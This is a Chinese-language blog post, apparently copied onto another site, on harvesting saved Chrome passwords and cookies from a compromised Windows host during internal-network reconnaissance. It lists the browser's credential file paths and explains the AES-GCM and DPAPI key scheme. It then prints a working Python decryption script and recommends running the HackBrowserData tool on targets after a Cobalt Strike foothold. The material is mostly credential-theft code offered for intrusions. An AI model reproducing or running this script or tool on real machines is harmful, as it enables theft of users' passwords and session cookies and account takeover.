chrome浏览器cookie及密码解密 | 您所在的位置:网站首页 › 获取chrome保存的密码 Login Data › chrome浏览器cookie及密码解密 |
chrome浏览器cookie及密码解密 写在前面:在我们进行内网信息收集的时候,控制了一台windows主机,一定需要继续进行信息收集,目标主机的浏览器中缓存的账户名,密码,浏览历史也是我们收集的重点之一,本文主要是介绍如何通过我们在目标主机上找到的chrome文件来获取用户的密码、cookie。 chrome中的敏感文件位置当chrome=80.x时使用的是AES-256-GCM的AEAD对称加密。本文主要是讲chrome如何实现此加密算法。 首先我们得清楚,在chrome中的敏感文件存储的位置。 chrome的cookie存储的位置是 1C:\Users\Thinkpad\AppData\Local\Google\Chrome\User Data\Default\Cookieschrome的浏览器历史文件History存储的位置是 1C:\Users\Thinkpad\AppData\Local\Google\Chrome\User Data\Default\Historychrome的登陆账号密码文件Login Data文件存储位置是 1C:\Users\Thinkpad\AppData\Local\Google\Chrome\User Data\Default\Login Datachrome中存储加密key的位置是 1C:\Users\Thinkpad\AppData\Local\Google\Chrome\User Data\Local State其中Cookies、History、Login Data是SQLite3文件,其中大部分文件是可以直接看见的,对于具体cookie值和账号密码是使用encrypted_value、password_value来进行存储具体存储形式见下图 在此处我们先来了解下密文的格式。在密文的前三个字符是v10(chrome的cookie都是用的此加密开头),在后面的 12个字符是nonce,在之后的才是真正的密文 而Local State则是一种json格式的文件 其中os_crypt的encrypted_key的值中保存着需要用到的解密密钥。 具体加密过程这里是chrome的具体加解密文件。 变量含义 1、密钥存储的json位置 2、密钥的长度 3、nonce的长度 4、最后密文的版本前缀 5、对key的加密算法前缀 具体代码: 1、其中执行的核心代码是 即申请一个静态变量encryption_key 2、初始化key 初始化key的具体步骤: 随机生成kKeyLength长度的key–>用dpapi加密key–>key的最前面添加’DPAPI’–>base64编码key–>保存进json文件 3、随机生成kNonceLength长度的nonce 4、将nonce插入到密文的前缀(这就是我们看见的那十二个字符的nonce) 5、将版本号插入到密文的前缀 最后在看下整个加密流程 解密流程使用之前请安装 pip install cryptography 此python脚本在windows下运行 1234567891011121314151617181920212223242526272829303132333435import base64from cryptography.hazmat.backends import default_backendfrom cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modesdef dpapi_decrypt(encrypted): import ctypes import ctypes.wintypes class DATA_BLOB(ctypes.Structure): _fields_ = [('cbData', ctypes.wintypes.DWORD), ('pbData', ctypes.POINTER(ctypes.c_char))] p = ctypes.create_string_buffer(encrypted, len(encrypted)) blobin = DATA_BLOB(ctypes.sizeof(p), p) blobout = DATA_BLOB() retval = ctypes.windll.crypt32.CryptUnprotectData( ctypes.byref(blobin), None, None, None, None, 0, ctypes.byref(blobout)) if not retval: raise ctypes.WinError() result = ctypes.string_at(blobout.pbData, blobout.cbData) ctypes.windll.kernel32.LocalFree(blobout.pbData) return resultencrypted_txt = base64.b64decode('djEwS/5dxDCXaTsRRJkiZohykDrUJ3sbhd6liWO98+4GmGdA7RJ3GXw=')//原始数据的base64编码形式encoded_key = 'RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAACndkJq2ysFTriHlfW0nUWtAAAAAAIAAAAAAANmAADAAAAAEAAAAKC1hRGlISNIKzcIVQIfSiIAAAAABIAAAKAAAAAQAAAA6Nq3v8LZfNmbwZi0krzKBCgAAACZD/ab6dhDiCscPTusjXTYmT9Ht/ohQNIQ6WG+VYPjyDZasXsxbNbmFAAAAJ4WfytFybhjSIuPgxCzB9gvyLUc'//Local State中保存的encrypted_keyencrypted_key = base64.b64decode(encoded_key.encode())encrypted_key = encrypted_key[5:]key = dpapi_decrypt(encrypted_key)nonce = encrypted_txt[3:15]cipher = Cipher(algorithms.AES(key), None, backend=default_backend())cipher.mode = modes.GCM(nonce)decryptor = cipher.decryptor()result = decryptor.update(encrypted_txt[15:])print(result)通过此方法就可以获得chrome下保存的密码了。 后记在此处推荐一个个人觉得好用的dump浏览器密码的工具————–HackBrowserData 1234567891011121314PS C:\test> .\hack-browser-data.exe -hNAME: hack-browser-data - Export passwords/cookies/history/bookmarks from browserUSAGE: [hack-browser-data -b chrome -f json -dir results -e all] Get all data(password/cookie/history/bookmark) from chromeGLOBAL OPTIONS: --verbose, --vv Verbose (default: false) --browser value, -b value Available browsers: all|chrome|edge|firefox (default: "all") --results-dir value, --dir value Export dir (default: "results") --format value, -f value Format, csv|json|console (default: "json") --export-data value, -e value all|cookie|history|password|bookmark (default: "all")此工具是用go写的,所以可以直接生成windows下的exe文件,当我们cs上线目标后,在目标主机上运行此文件就可在同目录下生成账户密码和cookie了,此exe文件6.1M。 参考文章1、Chrome浏览器Cookie及密码解密的分析过程及Java实现(Windows平台下v10及以上Cookie文件encrypted_value及Login Data文件password_value的解密 2、Chrome 80.X版本如何解密Cookies文件 |
CopyRight 2018-2019 实验室设备网 版权所有 |